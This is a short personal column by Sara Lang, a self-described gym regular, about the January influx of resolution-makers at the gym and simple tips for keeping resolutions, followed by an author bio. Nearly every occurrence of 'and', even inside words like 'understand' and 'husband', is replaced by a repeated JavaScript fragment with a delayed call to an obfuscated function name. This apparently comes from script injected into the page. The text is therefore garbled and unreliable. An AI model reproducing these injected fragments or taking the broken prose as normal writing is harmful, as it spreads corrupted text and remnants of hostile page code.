There’s a 92% Chance You Won’t Keep Your New Year’s Resolution

New Year’s

>>New Year'sHere’s my confession. I am one of those people at the gym. I am there six days a week. The regulars know me. The trainers know me. My kids are fixtures in the childcare room. Heck, I even know which rower doesn’t work quite right.

I am a gym rat. Looking at me, you would never know it (because I have zero metabolism andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an abiding love of carbs). I’m not going to lie andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say I always enjoy going to the gym, but I appreciate the challenge, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it provides great stress relief. My habit can probably be traced back to my gymnastics days, where 4-hour practices five days a week were the norm.

So, this is a time of year I dread. Each New Year brings with it scores of new gym members, anxious to fulfill their resolutions to lose weight or get fit. The newbies wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ander around the gym, a bit lost, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take up just about every piece of equipment. Parking spaces are full; locker rooms are packed.

I do not go to the gym to socialize or to chat. I’m there to do my job, get in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get out. I usually have a plan, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I aim to get it done as quickly as possible. The New Year’s influx really cramps my style. I can’t get on a treadmill; I can’t get a weight machine; I can’t get my workout done. I just want all these new folks to go home!

Don’t get me wrong. I applaud the resolution-makers’ newfound commitment to health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness. I think everyone should make exercise a part of their routine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their life. But I’ve been around long enough to know that almost none of these people will stick around until June. Too many people shell out cash for a gym membership just to find a million reasons not to go.

According to the >>Statistic Brain Research Institute, only 8% of people achieve their New Year’s resolutions, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and less than half of those who make resolutions stick for longer than six months.

There are plenty of recommendations out there for how to make andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and keep resolutions.

  • Focus on just one realistic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and specific goal.
  • Hold yourself accountable. Have a friend check in on you or post your progress on social media.
  • Take small, reasonable steps andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and celebrate each of them.
  • Focus on creating new habits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and behaviors.
  • Recognize that change is a process.

A trainer friend just wrote >>a good piece about fitness resolutions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how to make them stick. Making real, lasting change is more of an art than a science, requiring just the right of mix of commitment, toughness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and timing – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maybe some fairy dust.

Be honest with yourself. If you haven’t really worked out before (or in a long time), ask for help. Hook up with a trainer or ask some of the regulars at the gym. Take time to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the etiquette. Don’t just hang around looking macho andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and taking up space.

If the gym is not your thing, don’t waste your money on a swanky membership or a fancy fitness tracker. Go out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take a walk. Play a game of soccer with your kids.

Go ahead, make your resolution andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do your best. Creating new habits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and changing old ones are hard work. Cut yourself some slack when you fall a bit short, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and celebrate your successes.

My resolution this year is to be nice to the newbies at the gym.

>>Sara-LangSara Lang has worked in North Carolina politics at the state, federal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local levels for more than 15 years. A communications consultant, she lives in Cary with her husbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, two young children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a pampered dog. You can follow her on Twitter @saraylang.




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